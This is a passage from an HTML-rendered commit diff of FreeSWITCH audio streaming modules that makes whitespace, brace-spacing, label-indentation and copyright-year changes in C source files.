</span><span class="cx">         switch_thread_rwlock_create(&amp;source-&gt;rwlock, source-&gt;pool);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (RUNNING) {
</span><span class="cx">                 switch_mutex_lock(globals.mutex);
</span><span class="cx">                 switch_core_hash_insert(globals.source_hash, source-&gt;name, source);
</span><span class="lines">@@ -156,7 +156,7 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Error creating pool&quot;);
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_dir_open(&amp;source-&gt;dir_handle, source-&gt;location, temp_pool) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, &quot;Can't open directory: %s\n&quot;, source-&gt;location);
</span><span class="cx">                         goto done;
</span><span class="lines">@@ -203,7 +203,7 @@
</span><span class="cx">                         fname = path_buf;
</span><span class="cx">                         fh.prebuf = source-&gt;prebuf;
</span><span class="cx">                         fh.pre_buffer_datalen = source-&gt;prebuf;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_core_file_open(&amp;fh,
</span><span class="cx">                                                                           (char *) fname,
</span><span class="cx">                                                                           source-&gt;channels, source-&gt;rate, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -211,7 +211,7 @@
</span><span class="cx">                                 switch_yield(1000000);
</span><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_core_timer_init(&amp;timer, source-&gt;timer_name, source-&gt;interval, source-&gt;samples, temp_pool) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, &quot;Can't start timer.\n&quot;);
</span><span class="cx">                                 switch_dir_close(source-&gt;dir_handle);
</span><span class="lines">@@ -231,10 +231,10 @@
</span><span class="cx">                                         if (source-&gt;chime_counter &gt; 0) {
</span><span class="cx">                                                 source-&gt;chime_counter -= source-&gt;samples;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (!switch_test_flag((&amp;source-&gt;chime_fh), SWITCH_FILE_OPEN) &amp;&amp; source-&gt;chime_counter &lt;= 0) {
</span><span class="cx">                                                 char *val;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 val = source-&gt;chime_list[source-&gt;chime_cur++];
</span><span class="cx"> 
</span><span class="cx">                                                 if (source-&gt;chime_cur &gt;= source-&gt;chime_total) {
</span><span class="lines">@@ -243,9 +243,8 @@
</span><span class="cx"> 
</span><span class="cx">                                                 if (switch_core_file_open(&amp;source-&gt;chime_fh,
</span><span class="cx">                                                                                                   (char *) val,
</span><del>-                                                                                                  source-&gt;channels, 
-                                                                                                  source-&gt;rate, 
-                                                                                                  SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                                                  source-&gt;channels,
+                                                                                                  source-&gt;rate, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Can't open %s\n&quot;, val);
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><span class="lines">@@ -255,7 +254,7 @@
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><del>-                        retry:
</del><ins>+                          retry:
</ins><span class="cx"> 
</span><span class="cx">                                 is_open = switch_test_flag(use_fh, SWITCH_FILE_OPEN);
</span><span class="cx"> 
</span><span class="lines">@@ -287,7 +286,7 @@
</span><span class="cx">                                 if (!used &amp;&amp; !is_open) {
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!is_open || used &gt;= source-&gt;prebuf || (source-&gt;total &amp;&amp; used &gt; source-&gt;samples * 2)) {
</span><span class="cx">                                         used = switch_buffer_read(audio_buffer, dist_buf, source-&gt;samples * 2);
</span><span class="cx">                                         if (source-&gt;total) {
</span><span class="lines">@@ -322,7 +321,7 @@
</span><span class="cx">                 source-&gt;dir_handle = NULL;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         if (switch_test_flag((&amp;fh), SWITCH_FILE_OPEN)) {
</span><span class="cx">                 switch_core_file_close(&amp;fh);
</span><span class="lines">@@ -339,7 +338,7 @@
</span><span class="cx"> 
</span><span class="cx">         switch_thread_rwlock_wrlock(source-&gt;rwlock);
</span><span class="cx">         switch_thread_rwlock_unlock(source-&gt;rwlock);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_buffer_destroy(&amp;audio_buffer);
</span><span class="cx"> 
</span><span class="cx">         if (fd &gt; -1) {
</span><span class="lines">@@ -376,7 +375,7 @@
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(globals.mutex);
</span><span class="cx"> 
</span><del>- top:
</del><ins>+  top:
</ins><span class="cx"> 
</span><span class="cx">         alt_path = switch_mprintf(&quot;%s/%d&quot;, path, handle-&gt;samplerate);
</span><span class="cx"> 
</span><span class="lines">@@ -439,7 +438,7 @@
</span><span class="cx">         source-&gt;total++;
</span><span class="cx">         switch_mutex_unlock(source-&gt;mutex);
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx">         switch_safe_free(alt_path);
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -464,7 +463,7 @@
</span><span class="cx">         switch_mutex_unlock(context-&gt;source-&gt;mutex);
</span><span class="cx">         switch_buffer_destroy(&amp;context-&gt;audio_buffer);
</span><span class="cx">         switch_thread_rwlock_unlock(context-&gt;source-&gt;rwlock);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -573,7 +572,8 @@
</span><span class="cx">                                 }
</span><span class="cx">                         } else if (!strcasecmp(var, &quot;chime-list&quot;)) {
</span><span class="cx">                                 char *list_dup = switch_core_strdup(source-&gt;pool, val);
</span><del>-                                source-&gt;chime_total = switch_separate_string(list_dup, ',', source-&gt;chime_list, (sizeof(source-&gt;chime_list) / sizeof(source-&gt;chime_list[0])));
</del><ins>+                                source-&gt;chime_total =
+                                        switch_separate_string(list_dup, ',', source-&gt;chime_list, (sizeof(source-&gt;chime_list) / sizeof(source-&gt;chime_list[0])));
</ins><span class="cx">                         } else if (!strcasecmp(var, &quot;interval&quot;)) {
</span><span class="cx">                                 int tmp = atoi(val);
</span><span class="cx">                                 if (SWITCH_ACCEPTABLE_INTERVAL(tmp)) {
</span><span class="lines">@@ -644,19 +644,19 @@
</span><span class="cx">         switch_mutex_unlock(globals.mutex);
</span><span class="cx"> 
</span><span class="cx">         if (!source) {
</span><del>-                stream-&gt;write_function(stream, &quot;-ERR Cannot locate local_stream %s!\n&quot;,local_stream_name);
</del><ins>+                stream-&gt;write_function(stream, &quot;-ERR Cannot locate local_stream %s!\n&quot;, local_stream_name);
</ins><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         source-&gt;stopped = 1;
</span><del>-        stream-&gt;write_function(stream,&quot;+OK&quot;);
</del><ins>+        stream-&gt;write_function(stream, &quot;+OK&quot;);
</ins><span class="cx">         goto done;
</span><span class="cx"> 
</span><del>- usage:
</del><ins>+  usage:
</ins><span class="cx">         stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, STOP_LOCAL_STREAM_SYNTAX);
</span><span class="cx">         switch_safe_free(mycmd);
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         switch_safe_free(mycmd);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -694,7 +694,7 @@
</span><span class="cx">                                 xml = SWITCH_TRUE;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!local_stream_name) {
</span><span class="cx">                         goto usage;
</span><span class="cx">                 }
</span><span class="lines">@@ -730,18 +730,18 @@
</span><span class="cx">                                 stream-&gt;write_function(stream, &quot;  stopped:  %s\n&quot;, (source-&gt;stopped) ? &quot;true&quot; : &quot;false&quot;);
</span><span class="cx">                         }
</span><span class="cx">                 } else {
</span><del>-                        stream-&gt;write_function(stream, &quot;-ERR Cannot locate local_stream %s!\n&quot;,local_stream_name);
</del><ins>+                        stream-&gt;write_function(stream, &quot;-ERR Cannot locate local_stream %s!\n&quot;, local_stream_name);
</ins><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        stream-&gt;write_function(stream,&quot;+OK&quot;);
</del><ins>+        stream-&gt;write_function(stream, &quot;+OK&quot;);
</ins><span class="cx">         goto done;
</span><span class="cx"> 
</span><del>- usage:
</del><ins>+  usage:
</ins><span class="cx">         stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, SHOW_LOCAL_STREAM_SYNTAX);
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         switch_mutex_unlock(globals.mutex);
</span><span class="cx">         switch_safe_free(mycmd);
</span><span class="lines">@@ -796,29 +796,28 @@
</span><span class="cx">         if (argv[5]) {
</span><span class="cx">                 tmp = atoi(argv[5]);
</span><span class="cx">                 if (tmp == 1 || tmp == 2) {
</span><del>-                        channels = (uint8_t)tmp;
</del><ins>+                        channels = (uint8_t) tmp;
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         interval = argv[6] ? atoi(argv[6]) : 20;
</span><del>-        
-        if (!SWITCH_ACCEPTABLE_INTERVAL(interval)){
</del><ins>+
+        if (!SWITCH_ACCEPTABLE_INTERVAL(interval)) {
</ins><span class="cx">                 interval = 20;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (!path){
</del><ins>+        if (!path) {
</ins><span class="cx">                 if (!(xml = switch_xml_open_cfg(cf, &amp;cfg, NULL))) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Open of %s failed\n&quot;, cf);
</span><del>-                        stream-&gt;write_function(stream, &quot;-ERR unable to open file %s!\n&quot;,cf);
</del><ins>+                        stream-&gt;write_function(stream, &quot;-ERR unable to open file %s!\n&quot;, cf);
</ins><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 for (directory = switch_xml_child(cfg, &quot;directory&quot;); directory; directory = directory-&gt;next) {
</span><span class="cx">                         char *name = (char *) switch_xml_attr(directory, &quot;name&quot;);
</span><del>-                        if (!name || !local_stream_name || strcasecmp(name, local_stream_name)){
</del><ins>+                        if (!name || !local_stream_name || strcasecmp(name, local_stream_name)) {
</ins><span class="cx">                                 continue;
</span><del>-                        }
-                        else {
</del><ins>+                        } else {
</ins><span class="cx">                                 path = (char *) switch_xml_attr(directory, &quot;path&quot;);
</span><span class="cx">                                 if (!(name &amp;&amp; path)) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Invalid config!\n&quot;);
</span><span class="lines">@@ -868,7 +867,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 switch_xml_free(xml);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(local_stream_name) || zstr(path)) {
</span><span class="cx">                 goto usage;
</span><span class="cx">         }
</span><span class="lines">@@ -878,13 +877,13 @@
</span><span class="cx">         switch_mutex_unlock(globals.mutex);
</span><span class="cx">         if (source) {
</span><span class="cx">                 source-&gt;stopped = 0;
</span><del>-                stream-&gt;write_function(stream,&quot;+OK&quot;);
-                goto done; 
</del><ins>+                stream-&gt;write_function(stream, &quot;+OK&quot;);
+                goto done;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (switch_core_new_memory_pool(&amp;pool) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;OH OH no pool for new local_stream\n&quot;);
</span><del>-                stream-&gt;write_function(stream, &quot;-ERR unable to allocate memory for local_stream %s!\n&quot;,local_stream_name);
</del><ins>+                stream-&gt;write_function(stream, &quot;-ERR unable to allocate memory for local_stream %s!\n&quot;, local_stream_name);
</ins><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -910,13 +909,13 @@
</span><span class="cx">         switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
</span><span class="cx">         switch_thread_create(&amp;thread, thd_attr, read_stream_thread, source, source-&gt;pool);
</span><span class="cx"> 
</span><del>-        stream-&gt;write_function(stream,&quot;+OK&quot;);
</del><ins>+        stream-&gt;write_function(stream, &quot;+OK&quot;);
</ins><span class="cx">         goto done;
</span><span class="cx"> 
</span><del>- usage:
</del><ins>+  usage:
</ins><span class="cx">         stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, START_LOCAL_STREAM_SYNTAX);
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         switch_safe_free(path);
</span><span class="cx">         switch_safe_free(timer_name);
</span><span class="lines">@@ -960,7 +959,7 @@
</span><span class="cx">         RUNNING = 0;
</span><span class="cx">         switch_event_unbind_callback(event_handler);
</span><span class="cx"> 
</span><del>-        while(THREADS &gt; 0) {
</del><ins>+        while (THREADS &gt; 0) {
</ins><span class="cx">                 switch_yield(100000);
</span><span class="cx">         }
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcmodformatsmod_native_filemod_native_filec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/formats/mod_native_file/mod_native_file.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/formats/mod_native_file/mod_native_file.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/formats/mod_native_file/mod_native_file.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -104,7 +104,7 @@
</span><span class="cx">         if ((status = switch_file_trunc(context-&gt;fd, offset)) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 handle-&gt;pos = 0;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> 
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodformatsmod_portaudio_streammod_portaudio_streamc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/formats/mod_portaudio_stream/mod_portaudio_stream.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/formats/mod_portaudio_stream/mod_portaudio_stream.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/formats/mod_portaudio_stream/mod_portaudio_stream.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -154,9 +154,9 @@
</span><span class="cx">         return -1;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t engage_device(portaudio_stream_source_t *source,int restart)
</del><ins>+static switch_status_t engage_device(portaudio_stream_source_t *source, int restart)
</ins><span class="cx"> {
</span><del>-        PaStreamParameters inputParameters,outputParameters;
</del><ins>+        PaStreamParameters inputParameters, outputParameters;
</ins><span class="cx">         PaError err;
</span><span class="cx">         int sample_rate = source-&gt;rate;
</span><span class="cx">         int codec_ms = source-&gt;interval;
</span><span class="lines">@@ -187,8 +187,7 @@
</span><span class="cx">                 if (switch_core_codec_init(&amp;source-&gt;write_codec,
</span><span class="cx">                                                                    &quot;L16&quot;,
</span><span class="cx">                                                                    NULL,
</span><del>-                                                                   sample_rate, codec_ms, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
-                                                                   NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                   sample_rate, codec_ms, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Can't load codec?\n&quot;);
</span><span class="cx">                         switch_core_codec_destroy(&amp;source-&gt;read_codec);
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -198,7 +197,7 @@
</span><span class="cx"> 
</span><span class="cx">         if (!source-&gt;timer.timer_interface) {
</span><span class="cx">                 if (switch_core_timer_init(&amp;source-&gt;timer,
</span><del>-                                                                        source-&gt;timer_name, codec_ms, source-&gt;read_codec.implementation-&gt;samples_per_packet,
</del><ins>+                                                                   source-&gt;timer_name, codec_ms, source-&gt;read_codec.implementation-&gt;samples_per_packet,
</ins><span class="cx">                                                                    module_pool) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;setup timer failed!\n&quot;);
</span><span class="cx">                         switch_core_codec_destroy(&amp;source-&gt;read_codec);
</span><span class="lines">@@ -224,14 +223,13 @@
</span><span class="cx">         outputParameters.hostApiSpecificStreamInfo = NULL;
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-        err = OpenAudioStream(&amp;source-&gt;audio_stream, &amp;inputParameters, NULL, sample_rate, paClipOff,
-                        source-&gt;read_codec.implementation-&gt;samples_per_packet, 0);
</del><ins>+        err = OpenAudioStream(&amp;source-&gt;audio_stream, &amp;inputParameters, NULL, sample_rate, paClipOff, source-&gt;read_codec.implementation-&gt;samples_per_packet, 0);
</ins><span class="cx">         /* UNLOCKED ************************************************************************************************* */
</span><span class="cx">         if (err != paNoError) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error opening audio device retrying\n&quot;);
</span><span class="cx">                 switch_yield(1000000);
</span><span class="cx">                 err = OpenAudioStream(&amp;source-&gt;audio_stream, &amp;inputParameters, &amp;outputParameters, sample_rate, paClipOff,
</span><del>-                                        source-&gt;read_codec.implementation-&gt;samples_per_packet, 0);
</del><ins>+                                                          source-&gt;read_codec.implementation-&gt;samples_per_packet, 0);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_unlock(source-&gt;device_lock);
</span><span class="lines">@@ -251,7 +249,7 @@
</span><span class="cx">         portaudio_stream_source_t *source = obj;
</span><span class="cx">         portaudio_stream_context_t *cp;
</span><span class="cx">         int samples = 0;
</span><del>-        int  bused, bytesToWrite;
</del><ins>+        int bused, bytesToWrite;
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(globals.mutex);
</span><span class="lines">@@ -271,14 +269,14 @@
</span><span class="cx"> 
</span><span class="cx">         switch_thread_rwlock_create(&amp;source-&gt;rwlock, source-&gt;pool);
</span><span class="cx"> 
</span><del>-        if (engage_device(source,0)!=SWITCH_STATUS_SUCCESS){
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot; Dev %d cant be engaged !\n&quot;,(int) source-&gt;sourcedev);
</del><ins>+        if (engage_device(source, 0) != SWITCH_STATUS_SUCCESS) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot; Dev %d cant be engaged !\n&quot;, (int) source-&gt;sourcedev);
</ins><span class="cx">         } else {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot; Dev %d engaged at %d rate!\n&quot;,(int) source-&gt;sourcedev, (int) source-&gt;rate);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot; Dev %d engaged at %d rate!\n&quot;, (int) source-&gt;sourcedev, (int) source-&gt;rate);
</ins><span class="cx">                 if (globals.running &amp;&amp; !source-&gt;stopped) {
</span><span class="cx">                         source-&gt;ready = 1;
</span><span class="cx"> 
</span><del>-                        if (!source-&gt;audio_stream){
</del><ins>+                        if (!source-&gt;audio_stream) {
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;No Audio Stream wops!\n&quot;);
</span><span class="cx">                                 source-&gt;stopped = 0;
</span><span class="cx">                                 source-&gt;ready = 0;
</span><span class="lines">@@ -287,7 +285,7 @@
</span><span class="cx">                                         samples = 0;
</span><span class="cx">                                         switch_mutex_lock(source-&gt;device_lock);
</span><span class="cx">                                         samples = ReadAudioStream(source-&gt;audio_stream, source-&gt;databuf,
</span><del>-                                                                        source-&gt;read_codec.implementation-&gt;samples_per_packet  , &amp;source-&gt;timer);
</del><ins>+                                                                                          source-&gt;read_codec.implementation-&gt;samples_per_packet, &amp;source-&gt;timer);
</ins><span class="cx">                                         switch_mutex_unlock(source-&gt;device_lock);
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -306,9 +304,9 @@
</span><span class="cx">                                                                 switch_mutex_lock(cp-&gt;audio_mutex);
</span><span class="cx"> 
</span><span class="cx">                                                                 bused = switch_buffer_inuse(cp-&gt;audio_buffer);
</span><del>-                                                                if (bused &gt; source-&gt;samples * 768 ) {
-                                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Leaking stream handle! [%s() %s:%d] %d used %d max\n&quot;, cp-&gt;func, cp-&gt;file,
-                                                                                                          cp-&gt;line,(int) bused, (int) ( source-&gt;samples * 768));
</del><ins>+                                                                if (bused &gt; source-&gt;samples * 768) {
+                                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Leaking stream handle! [%s() %s:%d] %d used %d max\n&quot;,
+                                                                                                          cp-&gt;func, cp-&gt;file, cp-&gt;line, (int) bused, (int) (source-&gt;samples * 768));
</ins><span class="cx">                                                                         switch_buffer_zero(cp-&gt;audio_buffer);
</span><span class="cx">                                                                 } else {
</span><span class="cx">                                                                         switch_buffer_write(cp-&gt;audio_buffer, source-&gt;databuf, bytesToWrite);
</span><span class="lines">@@ -357,7 +355,7 @@
</span><span class="cx">         switch_mutex_unlock(globals.mutex);
</span><span class="cx"> 
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot; thread ending succesfully !\n&quot;);
</span><del>-        switch_thread_exit(thread,SWITCH_STATUS_SUCCESS);
</del><ins>+        switch_thread_exit(thread, SWITCH_STATUS_SUCCESS);
</ins><span class="cx"> 
</span><span class="cx">         return NULL;
</span><span class="cx"> }
</span><span class="lines">@@ -365,14 +363,14 @@
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t portaudio_stream_file_open(switch_file_handle_t *handle, const char *path)
</span><span class="cx"> {
</span><del>-        portaudio_stream_context_t *context ;
</del><ins>+        portaudio_stream_context_t *context;
</ins><span class="cx">         portaudio_stream_source_t *source;
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         switch_thread_t *thread;
</span><span class="cx">         switch_threadattr_t *thd_attr = NULL;
</span><span class="cx">         uint32_t rate = PREFERRED_RATE;
</span><del>-        char *npath ;
</del><ins>+        char *npath;
</ins><span class="cx">         int devNumber;
</span><span class="cx">         int tmp;
</span><span class="cx"> 
</span><span class="lines">@@ -383,7 +381,7 @@
</span><span class="cx">                 return status;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        npath =  switch_core_strdup(module_pool, path);
</del><ins>+        npath = switch_core_strdup(module_pool, path);
</ins><span class="cx"> 
</span><span class="cx">         tmp = handle-&gt;samplerate;
</span><span class="cx">         if (tmp == 8000 || tmp == 16000 || tmp == 32000 || tmp == 48000) {
</span><span class="lines">@@ -391,11 +389,11 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (*path == '#') {
</span><del>-                devNumber = get_dev_by_number(npath  + 1, 1);
</del><ins>+                devNumber = get_dev_by_number(npath + 1, 1);
</ins><span class="cx">         } else {
</span><del>-                devNumber = get_dev_by_name(npath , 1);
</del><ins>+                devNumber = get_dev_by_name(npath, 1);
</ins><span class="cx">         }
</span><del>-    npath = switch_mprintf(&quot;device-%d at %d&quot;,devNumber,rate);
</del><ins>+        npath = switch_mprintf(&quot;device-%d at %d&quot;, devNumber, rate);
</ins><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(globals.mutex);
</span><span class="cx">         source = switch_core_hash_find(globals.source_hash, npath);
</span><span class="lines">@@ -408,7 +406,7 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot; :S no pool\n&quot;);
</span><span class="cx">                 } else {
</span><span class="cx">                         source = switch_core_alloc(pool, sizeof(*source));
</span><del>-                        if (source!=NULL){
</del><ins>+                        if (source != NULL) {
</ins><span class="cx">                                 source-&gt;pool = pool;
</span><span class="cx">                                 source-&gt;sourcedev = devNumber;
</span><span class="cx">                                 source-&gt;sourcename = switch_core_strdup(source-&gt;pool, npath);
</span><span class="lines">@@ -436,8 +434,8 @@
</span><span class="cx">         /* dev already engaged */
</span><span class="cx">         if (source) {
</span><span class="cx"> 
</span><del>-                /*wait for source to be ready*/
-                while(source-&gt;ready==0) {
</del><ins>+                /*wait for source to be ready */
+                while (source-&gt;ready == 0) {
</ins><span class="cx">                         switch_yield(100000);
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -596,7 +594,7 @@
</span><span class="cx">         globals.running = 0;
</span><span class="cx">         switch_event_unbind_callback(shutdown_event_handler);
</span><span class="cx"> 
</span><del>-        while(globals.threads &gt; 0) {
</del><ins>+        while (globals.threads &gt; 0) {
</ins><span class="cx">                 switch_yield(100000);
</span><span class="cx">         }
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcmodformatsmod_shell_streammod_shell_streamc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/formats/mod_shell_stream/mod_shell_stream.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/formats/mod_shell_stream/mod_shell_stream.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/formats/mod_shell_stream/mod_shell_stream.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -43,7 +43,7 @@
</span><span class="cx">         int pid;
</span><span class="cx">         char *command;
</span><span class="cx">         switch_buffer_t *audio_buffer;
</span><del>-        switch_mutex_t *mutex;        
</del><ins>+        switch_mutex_t *mutex;
</ins><span class="cx">         switch_thread_rwlock_t *rwlock;
</span><span class="cx">         int running;
</span><span class="cx"> };
</span><span class="lines">@@ -63,15 +63,15 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Read Lock Fail\n&quot;);
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
-        while(context-&gt;running) {
-                
</del><ins>+
+        while (context-&gt;running) {
+
</ins><span class="cx">                 rlen = read(context-&gt;fds[0], data, MY_BUF_LEN);
</span><span class="cx"> 
</span><span class="cx">                 if (rlen &lt;= 3) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_mutex_lock(context-&gt;mutex);
</span><span class="cx">                 switch_buffer_write(context-&gt;audio_buffer, data, rlen);
</span><span class="cx">                 switch_mutex_unlock(context-&gt;mutex);
</span><span class="lines">@@ -79,7 +79,7 @@
</span><span class="cx"> 
</span><span class="cx">         switch_thread_rwlock_unlock(context-&gt;rwlock);
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         context-&gt;running = 0;
</span><span class="cx"> 
</span><span class="lines">@@ -92,26 +92,26 @@
